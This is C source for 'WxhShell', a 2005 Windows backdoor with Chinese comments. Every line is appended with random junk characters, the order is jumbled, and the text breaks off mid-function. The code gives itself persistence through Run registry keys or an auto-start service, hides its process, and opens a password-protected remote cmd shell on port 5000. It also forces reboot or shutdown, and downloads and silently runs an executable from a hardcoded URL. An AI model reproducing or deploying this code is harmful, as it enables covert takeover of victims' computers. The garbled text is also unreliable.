  // 关机 (o!v,=# 6{  
  case 'd': { ],lrT0_cT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t(O{IUYM  
    if(Boot(SHUTDOWN)) `kn 'RZR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6/m|Sg.m  
    else { (~R[K,G  
    closesocket(wsh); s)=fs#%  
    ExitThread(0); I.f)rMl+h  
    } +J^-B}v  
    break; z$VA]tI(  
    } *?zyF@K{%  
  // 获取shell d+1q[,-  
  case 's': { 9 a ED6  
    CmdShell(wsh); FCC9Ht8U?  
    closesocket(wsh); }/ p>DMN  
    ExitThread(0); U;Iqz1S  
    break; ^^u{W|'CaH  
  } hPs7mnSW  
  // 退出 eY)JuJ?  
  case 'x': { 03WLVP@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6;02_C]\o  
    CloseIt(wsh); $*035f  
    break; Ue>;h9^  
    } ~nQv yM!$  
  // 离开 R6^U9 fDG  
  case 'q': { dE<}X7J%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r[ UZHX5+S  
    closesocket(wsh); .Ulrv5wJ  
    WSACleanup(); 1@&i ju5  
    exit(1); )T-C/ 3  
    break; He#5d!cf:M  
        } xz-z" 8d  
  } uQwKnD?F+e  
  } Xknp*(9  
<5 R`E(  
  // 提示信息 rOt`5_2f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C%$:Oq  
} 7oPLO(0L  
  } :^c ' P<HM  
C@{#OOa  
  return; wABaNB=9;  
} h L 1q9%  
cs]N%M^s  
// shell模块句柄 O F$0]V  
int CmdShell(SOCKET sock) [Yo3=(7J  
{ j.? '*?P  
STARTUPINFO si; AY{-Hf&  
ZeroMemory(&si,sizeof(si)); 9~bl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PGaB U3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zYCrfr  
PROCESS_INFORMATION ProcessInfo; wT;3>%Mtr  
char cmdline[]="cmd"; cQ= "3M)~r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6}Se$XMl  
  return 0; ]bjXbbHd  
} FtaO@5pS54  
CdxEY  
// 自身启动模式 "pP5;*^f  
int StartFromService(void) V-#OiMWa~  
{ AqPE.mf  
typedef struct T7vSp<i/  
{ YL(7l|^!  
  DWORD ExitStatus; 85>WK+=  
  DWORD PebBaseAddress; {o2pCH  
  DWORD AffinityMask; AOT +4*)%  
  DWORD BasePriority; p$>e{-u  
  ULONG UniqueProcessId; _/@VV5Mq  
  ULONG InheritedFromUniqueProcessId; f L @rv  
}   PROCESS_BASIC_INFORMATION; K+9oV[DMs  
(7C&I- l  
PROCNTQSIP NtQueryInformationProcess; gmU_# J%~  
h/I'9&J>*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XS$5TNI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  U>0' K3_  
80PlbUBb!  
  HANDLE             hProcess; 9.<dS  
  PROCESS_BASIC_INFORMATION pbi; @x9DV{j)V  
}( x|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ']nB_x7  
  if(NULL == hInst ) return 0; [@SLt$9"  
4dkU;Ob  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AJ0qq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oV4+w_rrLc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S >E|A %  
"`b"PQ<x  
  if (!NtQueryInformationProcess) return 0; n5nV4 61U  
@,Je*5$o"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #41fRmzC  
  if(!hProcess) return 0; kOv2E]  
[;bZQ6JR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TTg>g~t`  
@]*b$6tt  
  CloseHandle(hProcess); F[q:jY  
ye-o'%{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0_Gi1)  
if(hProcess==NULL) return 0; +f{CfWIKs  
.'3&!#3  
HMODULE hMod; JNQiCK,)}M  
char procName[255]; l `D>h2]  
unsigned long cbNeeded; [kdt]+'+  
F-!,U)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7qfo%n"  
X!+#1NPM  
  CloseHandle(hProcess); vmI2o'zi  
TW 2OT }  
if(strstr(procName,"services")) return 1; // 以服务启动 MA\^<x_?L}  
;>*l?m-S@n  
  return 0; // 注册表启动 OBGA~E;%  
} yN* H IN  
E,6(/`0H*  
// 主模块 ]Y#$!fIx  
int StartWxhshell(LPSTR lpCmdLine) Ri$wt.b  
{ Qo*,2B9R L  
  SOCKET wsl; BMw_F)hTO  
BOOL val=TRUE; sE*A,z?  
  int port=0; EN lqoj1  
  struct sockaddr_in door; PJC[#>}  
T6s~f$G  
  if(wscfg.ws_autoins) Install(); 8no_xFA  
F_8nxQ-  
port=atoi(lpCmdLine); .#"O VI]#  
+Eil:Jz  
if(port<=0) port=wscfg.ws_port; X[L6Av  
ISHNeO8  
  WSADATA data; |ITSd%`3_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5):2;hk  
l_ycYD$ZA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O34'c_ fZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AJ'YkSg  
  door.sin_family = AF_INET; R[eQ}7;+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l3Vw?f   
  door.sin_port = htons(port); >|<8QomD  
F...>%N$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (mq 7{ ;7y  
closesocket(wsl); JpVV0x/Q/_  
return 1; *ey<R  
} "y R56`=  
9/$D&tRN  
  if(listen(wsl,2) == INVALID_SOCKET) { wAHW@q9CK  
closesocket(wsl); .r9-^01mG  
return 1; 28l",j)S  
} ],ow@}  
  Wxhshell(wsl); ,BM6s,\  
  WSACleanup(); 9*!C|gC9Ia  
3VJoH4E!6  
return 0; \0%)eJ  
q7}$F]UM"  
} "hRw_<  
te ?R(&  
// 以NT服务方式启动 @kR/=EfS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V1R=`  
{ <y${Pkrj  
DWORD   status = 0; ien >Ou  
  DWORD   specificError = 0xfffffff; @:$zReS2  
|CME:;{T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6l|pTyb1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !:Lb^C;/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1x+Y gL5  
  serviceStatus.dwWin32ExitCode     = 0; - #]?3*NO  
  serviceStatus.dwServiceSpecificExitCode = 0; jEBZ"Jvb  
  serviceStatus.dwCheckPoint       = 0; o[AQS`  
  serviceStatus.dwWaitHint       = 0; 1gp3A  
C3fSSa%b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ${n=1-SMU  
  if (hServiceStatusHandle==0) return; jKV,i?  
wyO@oi Vn  
status = GetLastError(); XAuB.)|  
  if (status!=NO_ERROR) ]a|3"DP5  
{ V}732?Jy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G!~[+B  
    serviceStatus.dwCheckPoint       = 0; <wwcPe}  
    serviceStatus.dwWaitHint       = 0; 3 wVN:g7  
    serviceStatus.dwWin32ExitCode     = status; % R~9qO  
    serviceStatus.dwServiceSpecificExitCode = specificError; jREj]V>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9NwA5TP9_  
    return; )i&9)_ro  
  } v#/Uq?us  
9WQC\/w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E?|"?R,,,  
  serviceStatus.dwCheckPoint       = 0; WXj}gL`  
  serviceStatus.dwWaitHint       = 0; DKL< "#.7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L|G!of[8n  
} kzCD>m  
['pk/h  
// 处理NT服务事件,比如:启动、停止 PezUG{q(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Yck(Fl  
{ )f4D2c&VE  
switch(fdwControl) {N+N4*  
{ Vm]ltiTVk  
case SERVICE_CONTROL_STOP: Yo:l@(  
  serviceStatus.dwWin32ExitCode = 0; 8:,E=swe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -A}*Aa'\  
  serviceStatus.dwCheckPoint   = 0; P/._ tQu6  
  serviceStatus.dwWaitHint     = 0; y|!%C-P  
  { Xui${UYN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gkS#=bv9e@  
  } yTw0\yiO  
  return; r@+IDW.=9  
case SERVICE_CONTROL_PAUSE: uAT01ZEm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,)A^3Q*  
  break; Fz7(Kuc  
case SERVICE_CONTROL_CONTINUE: [X:mmM0gd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ' pOtd7Vr  
  break; R}4o{l6  
case SERVICE_CONTROL_INTERROGATE: H<|I&nV  
  break; eW)(u$C|qL  
}; KU[eY}   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6~\z]LZ  
} UM%[UyYQ  
i> Ssp  
// 标准应用程序主函数  G~T]m .  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p~M1}mE  
{ fAWjk&9  
,YFuMek  
// 获取操作系统版本 NUBzmnA>8  
OsIsNt=GetOsVer(); 0`/PEK{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vrXmzq  
D1bS=> ;,"  
  // 从命令行安装 #V[ ?puE@  
  if(strpbrk(lpCmdLine,"iI")) Install(); U:>'^tkp  
b3e:F{n ^  
  // 下载执行文件 pmXx2T#=  
if(wscfg.ws_downexe) { ay#cW.,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NtMK+y  
  WinExec(wscfg.ws_filenam,SW_HIDE); ws5x53K  
} &NV[)6!  
(5?5? <  
if(!OsIsNt) { Okca6=2"  
// 如果时win9x,隐藏进程并且设置为注册表启动 (A?{6  
HideProc(); #"d.D7nA  
StartWxhshell(lpCmdLine); d -6[\S#  
} w3:WvA5jt  
else DHGv< F@  
  if(StartFromService()) { 'Hi_b3  
  // 以服务方式启动 4*OL^ \%  
  StartServiceCtrlDispatcher(DispatchTable); vOsd>3"  
else cs`/^2Vf"#  
  // 普通方式启动 xEaRuH c  
  StartWxhshell(lpCmdLine); i7 `dY {p7  
R3F>"(P@tS  
return 0; !c:Q+:,H  
} w.J[3m/  
(utm+*V,  
*w4jET>  
bJe*J\){  
=========================================== ~c[} %Ir>  
_Jj/"?  
PRl\W:_t  
+O3zeL  
=25q Y"Mf  
?RvXO'ml  
" VE^NSk Oa&  
_:0<]<x?  
#include <stdio.h> C1P{4 U  
#include <string.h> 7P9n. [  
#include <windows.h> 1Nw&Z0MI  
#include <winsock2.h> ?UQVmE&  
#include <winsvc.h> ^4]#Ri=U  
#include <urlmon.h> *x[B g]/  
gBHev1^y  
#pragma comment (lib, "Ws2_32.lib") xBU\$ToC  
#pragma comment (lib, "urlmon.lib") ;OmmXygl  
B{a:cz>0<  
#define MAX_USER   100 // 最大客户端连接数 {f#{NA5  
#define BUF_SOCK   200 // sock buffer aGNVqS%y  
#define KEY_BUFF   255 // 输入 buffer ( gO?-0  
tC\x9&:  
#define REBOOT     0   // 重启 NKLGbH  
#define SHUTDOWN   1   // 关机 SqFya  
wKum{X8  
#define DEF_PORT   5000 // 监听端口 0t5>'GYX  
I*@\pc}  
#define REG_LEN     16   // 注册表键长度 ^G= wRtS  
#define SVC_LEN     80   // NT服务名长度 l9 )iLOj  
>5wA B  
// 从dll定义API QL}5vSl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R B.j@*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u#%Ig3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |8&AsQd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O;f^' N  
4 C[,S|J  
// wxhshell配置信息 fOJk+? c  
struct WSCFG { Rp A76ug  
  int ws_port;         // 监听端口 Nv*x^y]  
  char ws_passstr[REG_LEN]; // 口令 >OE.6)'Rm  
  int ws_autoins;       // 安装标记, 1=yes 0=no qLKyr@\'  
  char ws_regname[REG_LEN]; // 注册表键名 u_@%}zo?5*  
  char ws_svcname[REG_LEN]; // 服务名 yk#yrxM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qyUcjc%[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lf0/ 0KH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vv' e,m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MTb}um.($  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n0U^gsD4J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9~zh]deH  
8Nxf2i5  
}; q?8MKf[N  
=b32E^z,  
// default Wxhshell configuration _@;2h`q ?  
struct WSCFG wscfg={DEF_PORT, <?52Svi}}  
    "xuhuanlingzhe", Q'JEDH\  
    1, ?Li^XONz  
    "Wxhshell", )]J I Q"rR  
    "Wxhshell", jp8=>mk  
            "WxhShell Service", m<8j' [+  
    "Wrsky Windows CmdShell Service", Jl Q%+$  
    "Please Input Your Password: ", yr&oJYM  
  1, YC&iH>jO3  
  "http://www.wrsky.com/wxhshell.exe", nX5*pTfjL3  
  "Wxhshell.exe" vIU+ZdBw  
    }; 0o At=S  
fj0+a0h  
// 消息定义模块 i0-!!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j6Jz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rRcfZZ~` M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W euV+}\b  
char *msg_ws_ext="\n\rExit."; `m3@mJ!>\  
char *msg_ws_end="\n\rQuit."; 90sMS]a  
char *msg_ws_boot="\n\rReboot..."; V==' 7n  
char *msg_ws_poff="\n\rShutdown..."; FtM7+>Do.  
char *msg_ws_down="\n\rSave to "; z"}k\B-5  
jm RYL("  
char *msg_ws_err="\n\rErr!"; X]cB `?vR  
char *msg_ws_ok="\n\rOK!"; }Bc'(2A;,  
?#}=!$p  
char ExeFile[MAX_PATH]; :m8ED[9b  
int nUser = 0; ||`w MWq  
HANDLE handles[MAX_USER]; ><LIOFqsS  
int OsIsNt; H!F'I)1  
)FWF T:P~  
SERVICE_STATUS       serviceStatus; dadOjl)S)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aU^>kRGc  
/T#<g:   
// 函数声明 x)"=*Jj  
int Install(void); 6i.'S5.  
int Uninstall(void); YtW#MG$f  
int DownloadFile(char *sURL, SOCKET wsh); @kvp2P+O  
int Boot(int flag); JsnavI6  
void HideProc(void); bIp;$ZHy`K  
int GetOsVer(void); `6~*kCj5  
int Wxhshell(SOCKET wsl); #Yw^n?~~  
void TalkWithClient(void *cs); d/Py,  
int CmdShell(SOCKET sock); ,EZ&n[%Ko  
int StartFromService(void); %T'?7^\>  
int StartWxhshell(LPSTR lpCmdLine); 4Xz6JJ1U[H  
~lDLdUs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b8b-M]P-=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eVU:.fx  
6sP;O,UX  
// 数据结构和表定义 rA` zuYo  
SERVICE_TABLE_ENTRY DispatchTable[] = LvWU %?  
{ GZZLX19s q  
{wscfg.ws_svcname, NTServiceMain}, |]GEJUWtCd  
{NULL, NULL} '0t j2  
}; ATnD~iACY  
Jk{>*jYk`  
// 自我安装 > 7;JZuVo  
int Install(void) w-B\AK?}  
{ Lj~lfO  
  char svExeFile[MAX_PATH]; .&sguAyG  
  HKEY key; E*(Q'p9C  
  strcpy(svExeFile,ExeFile); GGJ_,S*  
K"}Dbr  
// 如果是win9x系统,修改注册表设为自启动 jQb=N%5s  
if(!OsIsNt) { IC}zgvcW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LrPDpTd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GC4$9q}C4Z  
  RegCloseKey(key); JYSw!!eC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Ly4Z*!2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :[ITjkhde0  
  RegCloseKey(key); "*7I~.7U(*  
  return 0; e\yj>tQJg  
    } 2$\f !6p  
  } s|,]Nb=z/  
} yLDHJ}R  
else { ,7j`5iq[m  
 fx;5j;  
// 如果是NT以上系统,安装为系统服务 r#Pd@SV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8U;!1!+ 7)  
if (schSCManager!=0) {;p /V\   
{ 8ZIv:nO$  
  SC_HANDLE schService = CreateService [w{ZP4d>  
  ( whLske-  
  schSCManager, R +\y" .  
  wscfg.ws_svcname, 4k#B5^iJ  
  wscfg.ws_svcdisp, " Y%\qw/wq  
  SERVICE_ALL_ACCESS, &Mc mA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _Jp_TvP>  
  SERVICE_AUTO_START, qHKZ5w  
  SERVICE_ERROR_NORMAL, Yt#($}p  
  svExeFile, ko5\*!|:lj  
  NULL, 8p5'}Lq  
  NULL, VqbiZOZ@  
  NULL, D>|:f-Z6Z  
  NULL, AGv;8'`  
  NULL .s!:p pwl  
  ); v,M2|x\r}  
  if (schService!=0) <!+o8z]  
  { ^-ACtA)  
  CloseServiceHandle(schService); #zy%B  
  CloseServiceHandle(schSCManager); 0)P18n"$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C$tSsw?A  
  strcat(svExeFile,wscfg.ws_svcname); ':>B %k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hCDI;'ls  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YLCwo]\+>  
  RegCloseKey(key); a6]!4  
  return 0; sW]n~kTt'  
    } N!m%~},s//  
  } V`H#|8\i  
  CloseServiceHandle(schSCManager); {$EXI]f  
} I}q-J~s  
} #E ~FF@a  
=.o-R=:d  
return 1; HAiUFO/R  
} TtvS|09p;  
E$1^}RGT)  
// 自我卸载 9:Y:Vx  
int Uninstall(void) jqLyX  
{ RhJ<<T.2  
  HKEY key; D3K`b4YV  
6 %=BYDF  
if(!OsIsNt) { JxvwquI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =3T?U_u@  
  RegDeleteValue(key,wscfg.ws_regname); }+lxj a]C  
  RegCloseKey(key); Q0--.Q=:Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~FsUK;?  
  RegDeleteValue(key,wscfg.ws_regname); kN^)6  
  RegCloseKey(key); B.WJ6.DkS  
  return 0; y H'\<bT  
  } ]SPB c  
} =&pbh  
} J~}UG]j n  
else { )s8r(.W  
F#PJ+W*h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,qfa,O  
if (schSCManager!=0) y{"E) YY  
{ vr  vzV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RasoOj$  
  if (schService!=0) 4w?7AI]Ej  
  { UQ8x #(`ak  
  if(DeleteService(schService)!=0) { G !~BA*  
  CloseServiceHandle(schService); =I5XG"",  
  CloseServiceHandle(schSCManager); N\fT6#5B  
  return 0; nZT@d;]U9  
  } |-mazvA  
  CloseServiceHandle(schService); jgstx3  
  } \1Bgs^  
  CloseServiceHandle(schSCManager); $W?XxgkB?  
} nx4aGS"F:  
} \fhT#/0N  
toWmm(7v  
return 1; ZX0c_Mk=  
} j{^(TE  
} -vBRY  
// 从指定url下载文件 \1!k)PZdTW  
int DownloadFile(char *sURL, SOCKET wsh) ;1dz?'%V  
{ /'1y`j<  
  HRESULT hr; v<SEGv-  
char seps[]= "/"; IBqY$K+l  
char *token; /OP*ARoC21  
char *file; 'l:2R,cP  
char myURL[MAX_PATH]; J4vKfxEg  
char myFILE[MAX_PATH]; !BX62j\?  
f+920/>!Z  
strcpy(myURL,sURL); R\}YD*  
  token=strtok(myURL,seps); _y9P]@Q7%  
  while(token!=NULL) 1FJ[_ l  
  { Kzb@JBIF  
    file=token; 9X%Klm 5w  
  token=strtok(NULL,seps); @5wg'mM  
  } W~tOH=9>  
Oe YLL4H  
GetCurrentDirectory(MAX_PATH,myFILE); @NIypi$T  
strcat(myFILE, "\\"); T]W -g  
strcat(myFILE, file); 8x" d/D  
  send(wsh,myFILE,strlen(myFILE),0); MT`gr  
send(wsh,"...",3,0); @r?`:&m0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kut|A  
  if(hr==S_OK) G|lI=Q3f  
return 0; ]KeNC)R  
else 3~Ln:4[6ID  
return 1; w#T,g9  
 62jA  
} wDO5Zew!  
q?L(V+X  
// 系统电源模块 _);Kb/  
int Boot(int flag) J7GsNFL  
{ b0X[x{k"  
  HANDLE hToken; 5B 7*Z  
  TOKEN_PRIVILEGES tkp; ^W D$ gd  
@>5<m'}2  
  if(OsIsNt) { }^[@m#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zRu`[b3u<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dLf8w>i`T  
    tkp.PrivilegeCount = 1; tTH%YtG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y2-bU 7mo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); / yi:Q0  
if(flag==REBOOT) { a1SOC=.M;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BUinzW z{a  
  return 0; mj=|oIMwT  
} BA-nxR  
else { 14!J\`rI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =on!&M  
  return 0; GiXde}bm  
} fZ}Y(TG/  
  } %>2t=)T  
  else { ?MM3LA! <  
if(flag==REBOOT) { df *#?Ok  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .4> s2  
  return 0; &.hRVW(  
} h)8+4?-4 I  
else { 5Kj4!Ai  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,,@`l\Pgd  
  return 0; k{jw%a<Sc  
} cl{W]4*$  
} +[/47uFbI  
-5 /v`  
return 1; ~[TKVjyO  
} L5 9oh  
|ozoc"'  
// win9x进程隐藏模块 6;frIl;  
void HideProc(void) z L'IN)7MU  
{ $af}+:'  
-!,]Y10  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZT8J i?_n  
  if ( hKernel != NULL ) Lzx$"R-  
  { 'S7@+kJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Z20fh2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F9P0cGDs  
    FreeLibrary(hKernel); 5w)^~#  '  
  } 9jGuelwN  
n/oipiYx  
return; d[e:}1  
} 07Q[L'}y@  
FJ~_0E#L  
// 获取操作系统版本 :$i:8lz  
int GetOsVer(void) MW$H/:3  
{ s9kLB.  
  OSVERSIONINFO winfo; U?fN3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H r^15  
  GetVersionEx(&winfo); ` .(S#!gw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \h7J/es^p!  
  return 1; Mp"ci+Iu  
  else @gSFvb bc  
  return 0; 2~WFLD  
} _$\5ZVe  
cJ##K/es  
// 客户端句柄模块 b2X'AHK S  
int Wxhshell(SOCKET wsl) P^3m:bE]  
{ \1mM5r~  
  SOCKET wsh; ~Oq,[,W  
  struct sockaddr_in client; R``V Q  
  DWORD myID; 9LO.8Jy  
} ndvV~*1  
  while(nUser<MAX_USER) K= Z]#bm  
{ 0*Km}?;0-  
  int nSize=sizeof(client); Uc_`Eh3y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fy@#r+PgWp  
  if(wsh==INVALID_SOCKET) return 1; nj^q@h  
ccn`f]5w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5m.KtnT)  
if(handles[nUser]==0) _lPl)8k  
  closesocket(wsh); N _~KZQ11^  
else OKZam ik~  
  nUser++; 5<O61Lgx  
  } HM@}!6/s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qSoBj&6y  
?Tc)f_a  
  return 0; o%+A<Ri  
} A_jB|<bjTP  
Naf`hE9  
// 关闭 socket !*?(Q6  
void CloseIt(SOCKET wsh) O:,2OMB}B`  
{ a\&(Ua  
closesocket(wsh); Ukx/jNyYv  
nUser--; Ztyv@z'/Z  
ExitThread(0); qBBYckS.  
} I#S~  
!q-:rW? c  
// 客户端请求句柄 762o~vY6$  
void TalkWithClient(void *cs) yxCM l.  
{ n4vXm  
3j+=3n,  
  SOCKET wsh=(SOCKET)cs; nI*(a:  
  char pwd[SVC_LEN]; t?9 ;cS4  
  char cmd[KEY_BUFF]; i_0 ,BV C  
char chr[1]; WAwfL?  
int i,j; 9*=@/1  
HTDyuqs  
  while (nUser < MAX_USER) { 7"n)/;la  
6)#- 5m  
if(wscfg.ws_passstr) { rKzv8d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ayH%  qp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !$p2z_n$@.  
  //ZeroMemory(pwd,KEY_BUFF); ti{H(;;@  
      i=0; ?)?IZ Qj  
  while(i<SVC_LEN) { %Rd~|$@>x  
]{AOh2Z.hv  
  // 设置超时 3{Ek-{ 9  
  fd_set FdRead; JA?,0S  
  struct timeval TimeOut; a(}VA|l  
  FD_ZERO(&FdRead); +q #Xy0u  
  FD_SET(wsh,&FdRead); GP{$v:RG  
  TimeOut.tv_sec=8; "rjv5*z^&  
  TimeOut.tv_usec=0; "#-Nqq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mmrW`~-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "[Qb'9/Jc  
=j|v0& AGC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t,=@hs hN  
  pwd=chr[0]; r,u<y_YW  
  if(chr[0]==0xd || chr[0]==0xa) { 28T\@zi  
  pwd=0;  NVO9XK  
  break; Jt-X mGULB  
  } [GR]!\!%~  
  i++; ]cF1c90%  
    } <\1}@?NGC  
r^w\9a_  
  // 如果是非法用户,关闭 socket z-KrQx2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O)R7t3t  
} y wW-p.  
>/TB_ykb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %aj7-K6:t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =2RhPD  
<qbZG}u  
while(1) { M^j<J0(O  
F!OOrW]p0  
  ZeroMemory(cmd,KEY_BUFF); a%7"_{s1  
]z-']R;  
      // 自动支持客户端 telnet标准   l zfD)TWb  
  j=0; ' "ZRD_"  
  while(j<KEY_BUFF) { )l+XDI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #&^ZQs<  
  cmd[j]=chr[0]; H$~M`Y9I~  
  if(chr[0]==0xa || chr[0]==0xd) { |8&-66pX  
  cmd[j]=0; !X5o7b)  
  break; \LIy:$`8  
  } ~In{lQ[QX  
  j++; ; g Z%U  
    } fKL'/?LD]  
)"(V*Z  
  // 下载文件 g2g`,"T  
  if(strstr(cmd,"http://")) { X'V+^u@W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hl AR[]  
  if(DownloadFile(cmd,wsh)) TK; \_yN  
